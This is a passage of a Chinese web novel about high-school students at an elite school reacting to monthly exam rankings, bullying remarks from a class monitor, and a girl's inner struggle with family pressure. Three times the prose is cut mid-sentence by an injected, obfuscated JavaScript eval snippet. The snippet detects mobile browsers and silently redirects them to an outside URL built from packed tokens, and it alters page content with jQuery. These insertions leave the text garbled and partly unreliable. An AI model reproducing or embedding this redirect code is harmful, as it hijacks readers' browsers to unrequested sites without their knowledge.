更何况,连课内都刚刚打112,她还学什么数学竞赛? 她颤抖着点开排名,果然,班级排名38/50,单科排名学年382。 数学曾经是她最引以为傲的科目,也是理科里面她唯一能和韩慎谦掰手腕的科目,如今却只考了年级三百多名,班级倒数? 系统根据已经出了的成绩计算了临时总分和排名,目前出的这七科,她一共排班级第十九名。 十九名。 屏幕上鲜红的19就那样死死地盯着她,看得她喘不过气来。 即使她配不上中考状元,可当个小学霸还是绰绰有余的,平时成绩也稳定在江北实验的年级前十名,这个班级第十九,对她打击实在太大。 昙花一现,后劲不足? 她完全不敢想别人会怎么议论她。 不知不觉间,她的手心已经满是冷汗,余光瞥见旁边虞霁月正百无聊赖地趴在楼梯扶手上发呆,真的信守承诺没有偷看。 一股莫名其妙的冲动涌上来,她想看看虞霁月考得怎么样。 她们两个摸底考试排名差不多,加上虞霁月平常的学习态度也只能堪堪称得上差强人意,明显不是努力派的,她想看看她的成绩,至少做个参考。 她颤着声音开口,“霁月,你考得怎么样?” 虞霁月转过头,一看她这幅样子,立刻明白了几分,扫了眼手机上方的时间,语气匆忙地打断她,“停停停,快上课了,这个话题到此为止。你赶紧退出登录,把记录清一下,手机给我。” 她动作很快,几乎是把手机抢了回去,迅速点了几下就塞回了袖子里,整个过程行云流水,明显在刻意回避什么,不欲多谈。 以东篱夏对虞霁月的了解,这反应只能说明一件事—— 虞霁月自己考得不错,至少比她好,怕给她看后,反而让她更受刺激。 东篱夏甚至不清楚,虞霁月这份体贴对她来说,到底是好事还是坏事。 两个人装作刚从楼下上来的样子,匆匆回了教室。周益荣这个大阎王还在教室里侃侃而谈,预备铃响老师走进来,身旁一群小鬼才作鸟兽散。 回到座位,贺疏放正利用课间写着上节课的作业,侧头看了她一眼,眉头旋即蹙了一下,“怎么了?脸色这么差,是不是身体不舒服?” 东篱夏回过神,下意识地摇头,“没什么,就是昨天睡得晚,有点累。” 她不能说实话,不能泄露虞霁月带手机还帮她查成绩的事,这是她们两个人之间的秘密。 贺疏放看着她明显躲避的眼神,似乎想追问些什么,但最终只是深深看了她一眼,没再说什么,转回了头。 接下来的课,东篱夏完全听不进去了,老师的声音模糊遥远,脑子里只剩下数学112分的成绩和鲜红的19名。 她想哭,却又实在觉得还没到哭的时候。 当天下午依旧是体活课连着班会课。到了这个时候,体活课已经有不少同学留在教室刷题,柳鸿向来不管,只要求他们做好值日。至于谁来扫除,扫得好不好,全权由周益荣和甄盼负责。 东篱夏也没心思跟甄盼出去玩,选择了留在教室里研究数学学案上的例题。 到了体活课结束,教室里已经聚了不少人,空气里明显有了几分躁动的气息,所有人都在期待着月考的最终排名降下,让他们要死也死个痛快。 课间刚过半,周益荣就风风火火冲了进来,站在讲台上煞有介事地清了清嗓子,瞬间吸引了全班的注意。 “大家都安静一下!” 来了。 阎王大人开始点卯了。 “我刚从办公室回来,柳老师说,所有成绩都录完了,总排名也出来了!” 教室里登时安静下来,所有目光齐刷刷聚焦在他身上。 周益荣显然很享受这种众星捧月的感觉,开始继续广播,“先说大家最关心的,理六科学年第一,这次出在了咱们班——” 他倒真有点说书的天赋,故意拖长了调子制造悬念。 “是咱们盛老师!盛老师裸分712!” “哇赛——” “七百一十二?!” “我的天,盛老师有多余的能不能分我十分……” “膜拜盛神!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002759|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛群瑛再一次胜群英。 东篱夏觉得,以盛群瑛的学习时长,能兼顾竞赛,在难度如此之高的第一次月考里还能打712分,实在是天才中的天才了。 另一方面,她也阴暗地喜闻乐见,到了江大附中终于有盛群瑛这位神兵天降,能战胜在她世界里几乎无敌的韩慎谦了。 然而众人议论的焦点本人此刻却并不在教室,盛群瑛依旧我行我素,体活课照旧和奚华年快活地打羽毛球去了。 她不知情,即使知道了,也大概率压根不会在意。 “学年第二是一班韩慎谦,709,比盛老师低了三分。”周益荣继续播报,语气里多少带了点对自家班级出了学年第一的与有荣焉,“咱们班理六科第二是何建安,学年第四。第三是虞霁月,学年第九。” 还是这三位大神。 何建安依旧淡人一个,没什么反应,虞霁月向来是不乐意搭理周益荣的,有人祝贺他们俩,也只是从容地微笑。 周益荣深谙听众心理,十分知道除了顶尖的几位,大家还想知道什么,继续如数家珍,“学年前十名里,咱们班进了三个,盛老师、何老师,还有虞霁月。一班进了五个,分别是韩慎谦、明知晚、苗时雨、奚华年,还有沈天歌。” “所以说,尖子生这一块,咱们班还是略逊一筹啊。” 总结完,东篱夏以为他该下台了,没想到周益荣只是顿了顿,像是又想起了什么有意思的事,声音里带了点微妙的调调,“对了,还有个人得提一下。江南七中以前那个大魔王纪涵星,你们知道吧?就初中江南江北联考回回第一那个,这次——” 周益荣故意卖了个关子,环视一圈,看到不少好奇的目光,才慢悠悠地说,“只考了学年六十多名。啧啧,看来咱们江大附中的水还是深啊,有些过去的神进来,也得被打回原形。现在看来,大魔王也不过如此嘛,真是有点伤仲永了。” 这话说得相当不客气,甚至隐隐约约能听出点落井下石的快意来。 东篱夏眉头不自觉地皱了起来。 她记得纪涵星,他摸底考试坐在她后面,个子很高,笑起来阳光开朗,也是虞霁月的初中校友。 一次考试失利而已,周益荣何必用“伤仲永”这样重的字眼?而且他们初中应该也是江南七中的校友,难道两个人之间还有什么过节? 坐在一边儿的甄盼显然也听不下去了,她本来就不太喜欢周益荣那种爱出风头又有点捧高踩低的劲儿,此刻更是直接翻了个白眼,扬声打断他,使出了屡试不爽的杀手锏,“周益荣,说了这么多别人的,你考了多少啊?班级第几?学年第几?” 周益荣脸上的得意神色依旧,甚至有了点正中下怀的感觉,即使刻意收敛,仍然掩盖不住语气里的炫耀,“我啊,这次发挥还行。班级第六,学年第十七。” 原来如此。 东篱夏才明白过来,怪不得他这次如此热衷于打探和播报,上蹿下跳的,原来是自己考得不错。 班级第六,学年十七,在高手如云的清北班,确实是个很拿得出手的成绩。 那些围着他打听消息的同学,此刻也纷纷捧着场,一人一句“周老师厉害啊!”,“可以啊益荣!”。 人群中,忽然有人问,“周老师,现在不是主要看九科排名吗?你老说理六科干啥?九科学年第一还是盛老师吗?” 周益荣似乎并不想谈九科的事,脸上的笑容淡了些,含糊道,“九科啊……” “九科学年第一是一班韩慎谦,打了997分,离满分就差53分。往年有学长能打到1000分左右的,今年题难,韩慎谦也算尽力了。” “咱们盛老师嘛,那是天赋型选手,心思不在这上面,史地政估计没怎么背,九科排了学年第四。韩慎谦不一样,那是努力型的,文科也下死功夫。” 东篱夏脑子一热想骂人,理智又强迫自己冷静下来。 哪怕韩慎谦是她初中越不去的一道坎,此时此刻自己也多少有点听不下去了。 什么叫“天赋型选手,心思不在这上面”?难道努力就比天赋低一等吗? 韩慎谦考了第一,就是努力型,下死功夫,盛群瑛九科没考第一,就成了“天赋型,不乐意下功夫”? 周益荣的嘴脸在她看来越发刻薄。 班级里此时此刻已经要乱成了一锅粥,预备铃响了也没人听见,就在嘈杂达到顶峰的时候,教室门忽然被推开,柳鸿拿着几张A4纸,慢悠悠地踱了进来。 “吵什么吵?也不看看自己考成什么样?” 29. 外强中干 “吵什么吵?也不看看自己考成什么样?” 教室里瞬间安静下来,周益荣也立刻灰溜溜下了台。 一片死寂里,教室门突然被推开一条缝,盛群瑛拎着羽毛球拍从门口钻了进来,看见讲台上的柳鸿,也只是露出了一个尴尬的笑,就默默溜回了自己的座位上。 柳鸿眼皮抬了抬,目光扫过盛群瑛,什么也没说,又慢悠悠地垂下了。 在江大附中这种地方,向来是成绩决定待遇的。 稳定的成绩,就是盛群瑛可以如此张扬行事却无需承担任何批评的资本。 柳鸿走到讲台前,将手里那叠纸分成四份,分别发给四组,示意第一排同学往后传。 “每组一份,自己传着看。有两张,一张是六科排名,一张是加上史地政的九科排名。先看看自己的情况,班会课前面先自习,保持安静。” 说完,柳鸿又离开了教室,谁也找不到他的影儿。 东篱夏感觉自己的手心又开始冒汗。 成绩单终于传到她和贺疏放这一桌,东篱夏几乎是颤抖着手接了过来,贺疏放也凑近了些。 两个人先看九科那张,东篱夏目光快速向下搜寻,掠过前面几个熟悉的名字,终于在中间偏上的位置找到了自己——九科总分班级第8,学年第33。 比她预期的倒是要好上许多。 语文英语这两门150分的学科到底把她的排名硬生生拽了上来,她语文打了125,班级第二,单科学年第五,英语则打了137,班级第三,单科学年第十三,即使在清北班也绝对能打。 学年前列的绝大多数人都会选择纯理物化生赛道,六科排名对她来说更有参考价值。当东篱夏把视线移到旁边那张六科排名上找到自己名字时,心还是猛地沉了下去。 理六科总分班级第12,学年第49。 不仅不再属于最顶尖的梯队,甚至差一名就要跌出学年前五十了。 酸涩又一次涌上鼻腔。 旁边的贺疏放显然也看到了她的成绩,只是轻轻拍了拍她的胳膊,经过了十一假期深夜毫无保留的谈天说地,再回学校后,两人之间这种轻微的肢体接触也自然了不少。 “别太往心里去,”贺疏放轻声安慰道,“第一次月考而已,后面还有机会。数学只是暂时没学透,你主三门那么好,学文学理都有优势。” 东篱夏勉强扯了扯嘴角,目光却不由自主地顺着名单往下看。 贺疏放,六科排了班级第22,跌到了学年96名。化学100,她记得周益荣说过,这次学年只有贺疏放和盛群瑛两个单科满分,物理90,数学130,生物72,语文96,英语113。 她很难想象二班竟然有人语文还不到一百分,113的英语在清北班也算绝对低分了。 语文英语对她有多救命,对他就有多致命。 贺疏放显然不是那种像东篱夏一样会为了综合排名用心背史地政的人,史地政分数加起来可能还没他物理化学两科高,九科排名就更难看了,排到了班级第38。 她担忧地看了贺疏放一眼,他却也只是苦笑了两声,“看吧,我真要完蛋了。我爹妈看到这个估计得炸,化学就是打150也救不了我,估计立马就得给我安排上语文英语一对一。” 两个人对视一眼,千言万语都在眼神里了——同是天涯沦落人,相逢何必曾相识! 到底是贺疏放心态好,看完自己的成绩,他没有立刻往后传,而是开始和东篱夏研究起了其他人的分数。 出乎两个人意料,九科成绩排在第一的竟然不是盛群瑛,而是虞霁月。 班级第一,学年第三。 东篱夏几乎要怀疑人生。 大小姐天天上学带手机,回家看小说,作业不少都是抄她的,理科靠脑子聪明考得好就算了,需要下苦功夫背诵的史地政怎么也能考那么高分? 她赶紧细看虞霁月的单科成绩,数学135,物理88,化学92,生物94,英语141,语文122,理六科确实很漂亮。 真正让两个人同时倒吸一口冷气的,是虞霁月堪称无敌的史地政:历史98,政治97,地理88。 文综考得比理综还高。 “我去,大姐平常文科作业不还是照你抄的吗?打这么高分,该不是考前作法把书吃了吧?” 三科加一起没人家两科高的贺疏放此时此刻真情流露。 东篱夏忽然想起,周益荣之前分享成绩时刻意回避了九科排名,原来是看和自己不对付的虞霁月考了第一,自己又才排学年四十多名,怪不得不想提。 两个人把成绩单递给后桌,周益荣只瞥了一眼就对虞霁月摆了摆手,“我在办公室早就瞻仰过了,你自己看就行。” 虞霁月接过,看到九科成绩单的瞬间,眉毛轻轻一挑。 东篱夏看她的表情,立刻凑近了小声问,“大师,史地政什么情况?” 贺疏放更是直接揶揄道,“大师,你这可不地道啊,怎么偷偷背着我们卷上文科了?” “别瞎说,天地良心,天地良心!”虞霁月把成绩单往桌上一拍,一脸无辜,“我真没听!史地政课我哪节不是光明正大在写理科作业?就考试前一天,晚上回家我把提纲过了一遍,拢共加起来撑死仨小时。” “三个小时?”东篱夏的声音没压住,引来了前排同学回头一瞥,才赶紧小声追问,“仨小时,就能考成这样?” “真的,骗你们是小狗。”虞霁月耸耸肩,表情坦荡得让人牙痒痒,“我也没想到,自己看一遍提纲就能复述出来。至于那些意义题,读明白题干在说啥,自然就能选对了。” 东篱夏听得一愣一愣的,在她眼里,虞霁月简直已经从大师进入到了半仙的境界,但她还是有一件事想不通。 “可是霁月,那种特别恶心的纯靠背诵的年份对应事件,你又是咋背下来的?” “我背不下来啊。”虞霁月说得理直气壮,“你们考试的时候难道看不出来,这卷子的选择题完全是按时间顺序出的吗?上一题贞观之治,下一题开元盛世,直接推不就能推出来吗,哪需要背什么年份?” 东篱夏和贺疏放同时一愣,大眼瞪小眼。 贺疏放从桌堂掏出早就团成团的历史卷子,展平,手指顺着题号往下划拉,眼睛越瞪越大,“我去,还真是啊!” 东篱夏凑过去看了两眼,果然,选择题时间线从头到尾严丝合缝贯穿整个试卷。 很少有人能意识到,这张卷子本身就在向他们泄露答案。 只有虞霁月,好像从来都不会被任何框架束缚。 “大师,”贺疏放终于心服口服,“实在是高。” 虞霁月被他的夸张逗笑了,连忙摆了摆手谦虚道,“少来这一套,我这也就是歪门邪道,碰上真正不讲顺序混着考的卷子,估计就不灵了。” 东篱夏刚要转回身去,没想到周益荣忽然向前探过身来,似笑非笑地问她,“东老师,你这次咋退步这么多呢?” 东篱夏浑身一僵。 周益荣有模有样地咂了咂嘴,指了指六科成绩单上东篱夏的第十二名,“尤其是物理和数学,是不是没学明白啊?你开学考试考得不还挺高吗,笔记也记得挺明白,怎么一考试就不太行了?” 说完,周益荣像是突然想起什么似的,笑呵呵补了一句,“哦对,有不会的可以问我,我这回数学打了138,学得还挺明白。东老师,咱俩前后桌一场,我可不希望你像一班那个纪涵星一样,初中那么厉害,高中泯然众人啊。” 多恶毒的话啊。 东篱夏又惊又怒,一时间甚至说不出应对的话来。 为什么? 她脑子里只剩这三个字在疯狂打转。 是因为摸底考试那一次在走廊里,甄盼让他下不来台,他记恨在心,所以迁怒于她? 还是刚才她真心实意夸虞霁月,让他觉得自己被忽视了? 在东篱夏心里,周益荣之前虽然嘴欠,却也实实在在是个热心的班长,会主动帮同学解决各种琐事。 更何况,她对周益荣也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009158|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差,之前也经常把自己记满了反思的数学笔记给他,他每次借完还回来时,也都会笑着说一句,“东老师笔记就是好用”。 所以,他这一次为什么偏偏对她抱着这样似有若无的恶意? 成绩已经足够让她崩溃了,周益荣突然来这么一遭,她的眼泪开始不受控制地往下掉。 “你神经病啊?” 虞霁月的声音刚响起来,忽然就被另一个声音截断了—— “周益荣。”贺疏放原本侧身朝着东篱夏这边,此刻慢慢转了回去,正面朝向后方,那双平时总带着点散漫笑意的眼睛头一回失去了温度,“你一天到晚老把心思放在别人身上干什么?” “你自己很闲吗?是考过虞霁月了,还是怎么着了?” 说着,他目光扫过周益荣手里他自己的成绩单,声音里掺进一丝显而易见的嘲讽,“我记得你九科排名好像不如东篱夏吧?” 贺疏放突然激情开麦,吓得东篱夏连难过都暂时忘了。 老实说,贺疏放和周益荣平常关系不算差,体活课经常一起打球,中午吃饭回来,她有时也能看见他们凑在一起说笑。 更何况,东篱夏从来没见过贺疏放用这样的语气,对任何一个同学说话。 周益荣显然也没料到贺疏放会如此不留情面地直接呛回来,脸上的假笑登时僵住了,大概想反驳“我就随口一说”。但在贺疏放压迫感十足的注视下,终究没能说出口,他只是讪讪避开了对视,嘴里含糊地嘟囔了两句听不清的话,有些狼狈地转回身,把成绩单递给再后桌的两个人去。 “是不是没学明白啊?” 周益荣话说得虽然难听,却没有错。 她就是没学明白。 她从前一直在自己骗自己,骗自己暑假跟不上都是衔接班太快,考完试又骗自己只是没发挥好。 毕竟从外界找原因比从自己身上找原因容易太多,推卸责任也比承担责任容易太多了。 分明就是她的学习节奏和学习方法出现了问题。 又或者,根本就是智力问题。 纪涵星这个名字再次毫无预兆地跳进她的脑海,好像在上高中以后,这个名字就鲜少出现在顶尖排名的前列了。 那些周益荣一样议论他“伤仲永”的声音,会不会很快,要转移到她头上了? 东篱夏喉咙堵得发痛,视线再一次被泪水模糊。 不能哭。 绝对不能在教室里哭。 不能当着这么多人的面,尤其是不能在贺疏放刚刚那样维护过自己之后,表现得如此不堪一击。 正好左脚的鞋带松了,她几乎如释重负地弯下腰,整个人蜷缩进课桌下狭小的空间里,躲在一小片暂时安全的黑暗空间里。 就是现在。 东篱夏迅速抬手,用手背在眼睛上狠狠抹了一把。湿热的液体被蹭掉,但更多的立刻涌了上来。她吸了吸鼻子,手指颤抖着去勾根本不需要系的鞋带,只是碰了一下,又重新去抹眼泪。 弓着的后背突然被人轻轻拍了两下,头顶传来贺疏放很轻很轻的声音,“还好吗?” 眼泪再一次夺眶而出。 真可笑啊,东篱夏。 她在心里狠狠地斥责着自己,尖利又刻薄。 一边在这里偷偷掉眼泪,一边还要假装系鞋带。 一边害怕别人看出自己的脆弱,一边又恨不得有人能看穿这拙劣的伪装,过来关心一句“你怎么了”。 一边觉得自己蠢笨如猪,什么都学不会,一边又最怕听到别人说“你是不是没学明白”。 你到底想怎么样呢? 你连对自己都不能坦诚一点吗? 承认吧,你就是害怕。 就是害怕自己真的江郎才尽,害怕从那个被硬推上去的神坛摔下来时会粉身碎骨,害怕让所有那些对你说过“小夏真棒”的人失望,更害怕让刚刚那样坚定地站在你身前的人,发现他维护的不过是一个外强中干的草包。 她用力闭了闭眼,硬生生把最后一点湿意逼了回去。 30. 大象小象 做完这一切,她才撑着膝盖慢慢地直起身,重新回到光线下,眼前还有点模糊的残影,但她依旧努力睁大眼睛,故作轻松地看向旁边的贺疏放。 “挺好的,我没事。” 贺疏放已经收起了刚才面对周益荣时的冷硬,眉头微微蹙着看着她,东篱夏甚至能看到他镜片后面的眼睛里,正清晰地映着自己此刻红着眼圈强作镇定的狼狈样子。 “别听他胡说八道。”贺疏放声音压得很低,只有他们两个能听清,“他那人就那样,说话不过脑子,显摆自己没够。” 东篱夏吸了鼻子,很小声地回答道,“谢谢你,但你别因为我,跟同学闹得不愉快。你们平时关系还行,别因为我影响你们。” 她越说声音越小,“我都不敢想别人该怎么看你了……” 这是她最真实的顾虑。 她怕自己成为贺疏放的麻烦,怕贺疏放因为维护她而影响自己的人缘。 她都不敢去想周益荣到时候添油加醋跟别人说这件事时会说些什么。 说他贺疏放重色轻友吗? 贺疏放沉默了几秒,然后,东篱夏听见他很轻地笑了一下,不是平时那种漫不经心的笑,而是带着点无奈的笑。 “东篱夏,”他叫她的名字,语气很认真,“我完全不在乎那些无关紧要的人怎么看我。” 他停顿了一下,目光没有躲闪,径直看着她湿润的眼睛。 “我只在乎我觉得重要的人高不高兴。” “显然,你高不高兴,比周益荣怎么想我,重要得多。” 东篱夏的脑袋瞬间嗡了一下,世界里好像只剩下贺疏放这句话,和他那双清晰又笃定地映着自己的眼睛。 酸涩的暖意混着尚未褪尽的委屈密密麻麻地涌上来,她飞快地眨了下眼,把新的泪意逼回去,轻轻点了点头,最终也只是又低低说了声谢谢。 谢谢。 单薄的两个字完全承载不起她心里翻腾的感谢。 他原本可以事不关己,可以打个圆场,甚至可以默认周益荣说的一切不过是“低情商男生无恶意的玩笑”,但他没有。 紧随感激而来的是一种更深的羡慕。 他怎么能做到如此坦然地说出“我完全不在乎那些无关紧要的人怎么看我”? 这句话对东篱夏而言简直如同天方夜谭。 贺疏放的态度固然并不处处讨喜,维护了东篱夏,就必然会得罪周益荣。 但她无法否认,自己羡慕极了那种不为无关目光所累的自由。 她的人生好像从来都没什么幕后和台前之分,聚光灯不知道什么时候就会突然打向她,照得她无所遁形、猝不及防,观众的无数窃窃私语与此同时接踵而至,而她早就分不清哪些是真实的,哪些是她自己臆想出来的。 她是那样在意别人怎么看她。 “夏夏,你得对得起你爸妈在北京那么辛苦。” “有人不喜欢你?那肯定是你哪儿没做好。多从自己身上找原因。” “少怪别人,多想想你自己。为什么他不说别人,偏说你?还不是你自己有问题?” 一字一句,在她还是只懵懂的小象时,就已经被锻造成铁链缠绕上她稚嫩的脚踝。 铁链的款式与时俱进,从“要听话”变成“要优秀”,但拴着她的那根木桩却从未改变——必须足够好,好到无可指摘,才配得到爱;你遇到的任何非议,都是因为你自身的不完美。 年复一年,她拖着这铁链行走、奔跑,甚至一度以为自己戴着它也能攀上高峰。 她习惯了铁链的重量,习惯了在迈出每一步前,先下意识地估算这一步会引来多少目光。 她学会了三思而后行,学会了在受到指责后第一时间躬身自省,熟练地从自己身上挖掘出无数条罪状,哪怕那些指责本身毫无道理。 就算她理智上清楚那些议论大多转瞬即逝,根本不会对她的生活造成什么实质性的伤害,就算她理论上已经是一头有能力挣脱锁链的大象了—— 可那又怎样呢? 心灵的驯化比□□的束缚更彻底,铁链早已内化成为她骨骼的一部分,木桩也早已挪了地方,从奶奶的唠叨里搬进了她自己的心里。 为什么他偏偏说你,不说别人? 奶奶的声音在脑海深处回响,与她自己的声音重合。 还不是因为你自己考得差。 逻辑如此自洽,痛苦如此熟悉。 熟悉的路径带来一种畸形的安全感——至少我知道问题出在哪里,至少我知道该如何应对。 她终究还是那头习惯了铁链的大象。 不待她继续深想,教室前门忽然被忽然推开,柳鸿背着手悄无声息地飘了回来。假期归来的第一次月考尘埃落定,他显然早已准备好了一套说辞。 “都拿到成绩单了吧?” 柳鸿依旧慢条斯理地踱到讲台中央,灯光打在他有点地中海的脑袋顶上,锃亮。 “我简单说两句啊,跟一班比,咱们班数学平均分高了四分,但语文、英语,尤其是史地政被人家拉开一大截。六科总排名两个班咬得紧,差不太多。可一旦加上文科这三科,九科总排名,差距就显出来了。” 他拉长了声音,目光有意无意地扫过盛群瑛的位置,盛群瑛正低头转着笔,侧脸没什么表情。 “有些同学,理科能冲到最前面,文科要是稍微用点心,总排名就不一样了。尤其是对于那些有清北实力的同学,综合排名到高三非常重要。” 谁都清楚,他这话就是说给盛群瑛听的。 柳鸿端起讲台上的保温杯,慢条斯理地喝了一口,继续道,“大家看到成绩,别光盯着分数叹气。主动点,拿着卷子去找任课老师,一道题一道题地分析,到底是知识漏洞,还是思路方法有问题。发现问题,解决问题,这才是考试的意义。” “当然了,”柳鸿放下保温杯,语气稍稍放缓,东篱夏几乎都能猜出来他下一句要说什么——巴掌打完,甜枣总是要给的。 果不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021170|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其然—— “一次月考而已,代表不了高考,更代表不了你们的未来。考得好的,戒骄戒躁;考得不理想的,找到问题所在就是最大的收获。高中三年,路还长。考前会多少不重要,重要的是考后一百分。” 至此,柳鸿的语气忽然又沉了沉,目光有些意味深长,“另外,我观察了一下,咱们班最近晚自习去上竞赛课的人数有点多啊。” 东篱夏清楚,柳鸿的视线几乎是很明确地落在了自己身旁那个正埋头于物理作业本的身影上。 贺疏放握着笔的手指顿了一下,脑袋却没有抬起来,依旧专注地盯着眼前的题目,只拿柳鸿的声音当遥远的背景杂音。 “竞赛这条路,风险很大,投入产出比需要你们自己好好掂量掂量。搞竞赛,意味着你要从本就紧张的课内时间里,再硬生生挖走一大块。你们好好想想,自己能不能平衡好?会不会顾此失彼?这次月考,有些同学的成绩波动,是不是该想想这方面的影响?” 说完,柳鸿停顿片刻,给了所有人一个消化的时间,“我的建议是,高一上,还是以夯实课内基础为重。竞赛可以了解,可以接触,但真正做决定要慎重。别看着别人去,你就跟着去。适合自己的,才是最好的。” 东篱夏向身旁看了一眼,贺疏放却还是用自己固执的沉默,抵御着所有的劝诫。 一个个尽是些犟种。 柳鸿终于结束了苦口婆心的训话,再次如来时般悄无声息地离开了教室。 东篱夏没有立刻动笔。 贺疏放是很坚定的,可是她自己呢? 别说兼顾了,她连顾好课内这一头,都已经觉得左支右绌,气喘吁吁。 竞赛之路或许从一开始就不属于她,她没有贺疏放那种偏执的热爱,也没有苗时雨、何建安那种智力上的游刃有余。 她有的,仅仅是细心、耐力和一点点小聪明。 她真放弃了竞赛,别人又会怎么说呢? 奇怪的是,这一次,一种陌生的勇气竟然挣扎着冒出了头。 承认自己不行,承认自己做不到,选择退下来,专注于自己能做好的事情,就真的很失败吗? “适合自己的,才是最好的。” 什么是适合她的? 是把有限的时间和精力,继续分散到注定艰难且希望渺茫的竞赛上,然后眼睁睁看着课内成绩也一点点掉下去? 还是大大方方承认自己的局限,收缩战线,把课内基础打牢,把瘸腿的数学物理补上,先在这个高手如云的环境里稳住脚跟? 认自己的输,有什么不对吗? 她总该试着为自己做一次选择了,就算不够光彩。 其实她甚至不需要做些什么,之后的竞赛课都不参加,就算是默认放弃竞赛了。 想通了之后,东篱夏重新摊开了自己面前的数学月考卷子,拿起了红笔,从第一道错题开始重新计算。 心里的铁链从来没有消失,却又好像不知不觉松了那么一点点。 31. 同病相怜 班会结束就是语文晚课,付观亭先让两个课代表把答题卡发给大家。 东篱夏本以为他要用这节晚课讲评试卷,没想到付观亭一总结起成绩就如滔滔江水般连绵不绝,晚课已经过了半个小时,他却还没有停下的意思。 江大附中绝大多数老师在总结成绩或者开家长会时,都奉行“只阴阳,不点名”的基本原则,保护学生们的自尊心,而付观亭显然是个异类。 喜欢他的学生夸他有文人风骨,不拐弯抹角;不喜欢的,则暗地里嘀咕他酸腐较真,不留情面。 付观亭做了很详细的成绩分析课件,先展示了几张高分的答题卡,东篱夏的自然在列,接着又表扬了几位单科排名和摸底考试相比进步显著的同学,鼓励他们保持势头。 有褒自然就有贬。 “咱们理科清北班有些同学,理科思维非常出色,但在语言的理解与表达上存在严重的短板,必须引起高度重视。” 贺疏放还想继续用应对柳鸿那一套来应对付观亭,仍旧眼观鼻鼻观心,愣装没听到。 可惜付观亭不是柳鸿,装傻这招对他完全没用,直接雷霆点名,“疏放,你这次月考打了96分,单科排了班级倒数第三。” 前后左右的目光瞬间聚焦过来,贺疏放却仍旧低着头,一副油盐不进的样子。 “疏放啊,”付观亭的语气带上了点痛心疾首,“你这根本不是能力问题,是态度问题。你看你这理解性默写,六分,就拿了一分!‘况吾与子渔樵于江渚之上’,下一句你写的什么?徘徊于斗牛之间?” 教室里响起一阵低低的骚动,数后面周益荣笑得最大声。 “这样下去绝对不行!从今天起,你得给我把语文抓起来。”他目光一转,看向了贺疏放旁边同样坐立难安的东篱夏,“篱夏,你语文基础扎实,又是课代表,就由你来一对一监督他背古文,定期向我汇报进度,能不能做到?” 全班的视线连同付观亭殷切的目光齐刷刷地压在东篱夏身上。 “没问题的,付老师,我会好好监督他的。” “好。”付观亭满意地点点头,转移了目标,开始继续审讯下一位需要重点关怀的同学。 她看向旁边的贺疏放,少年的耳尖染了点薄红,趁着付观亭没往他们这边看,摆出了一副可怜巴巴的求饶表情,眼睛眨呀眨,“放了我吧,南山女神。” 不是,这贺疏放怎么对自己用上美男计了? 虽然贺疏放长得确实挺好看吧,但这招对她不好使。 东篱夏实在不想再看到他因为文科短板而在综合排名上吃亏,故意凶巴巴板起了脸,迎上贺疏放可怜巴巴的目光,语气是罕见的坚决,“不行,必须好好背。从今天晚上开始,我盯着你。” 贺疏放明显愣了一下,似乎没料到她会这么铁面无私,但那副可怜相很快就维持不住,嘴角不受控制地向上弯起,眼角眉梢莫名其妙漾起笑意,“好,都听我们南山女神的。我一定悬梁刺股,囊萤映雪,保证完成任务。” 东篱夏瞪了他一眼,没再理他,转回头看向讲台,嘴角却也不自觉悄悄扬起了一抹细微的弧度。 都是些什么跟什么啊。 直到晚课结束,付观亭连文学类文本阅读都没讲完,就一脸任重道远地离开了教室。甄盼照例来找她一起去食堂,可惜东篱夏一想到自己的成绩就什么胃口都没有了,独自下楼去了小卖部。 小卖部里依旧挤满了抢不上食堂晚饭的同学,东篱夏挤进去,匆匆拿了一个毛毛虫面包,结了账,就走出了喧闹的小卖部。 十月中旬,江城的傍晚已经有了不少凉意,操场待不住,她更不想回教室和那些不吃饭也要学习的卷王们虚与委蛇,互相恭维。 脑海里突然蹦出了一个地点——早上虞霁月带她去的四楼半小阁楼。 实在是一个可以暂时躲开所有人的好地方。 她蹑手蹑脚顺着小楼梯一口气爬到四楼半,也不管地上的灰尘,抱着膝盖便往通往小阁楼的台阶上一坐,脑袋轻轻靠着一旁掉了不少皮的白墙,手里没拆封的毛毛虫面包就软塌塌地搁在膝盖上。 目光投向眼前高高的窗,夕阳正一点点沉到看不见的地方,她胸腔里那股堵了一整天的涩意莫名其妙地爆发了出来,眼泪来得毫无征兆,甚至没有经过酝酿的哽咽,就这么直接地大颗大颗滚落下来,砸在她环抱着膝盖的手臂上。 为什么? 她不知道。 她真的不知道自己的成绩为什么会下滑得如此明显。 在江北实验的时候,即使没有中考那次如有神助考了全市第一的实力,她排在年级前十也是毫无悬念的。 可为什么到了江大附中,一切都变了? 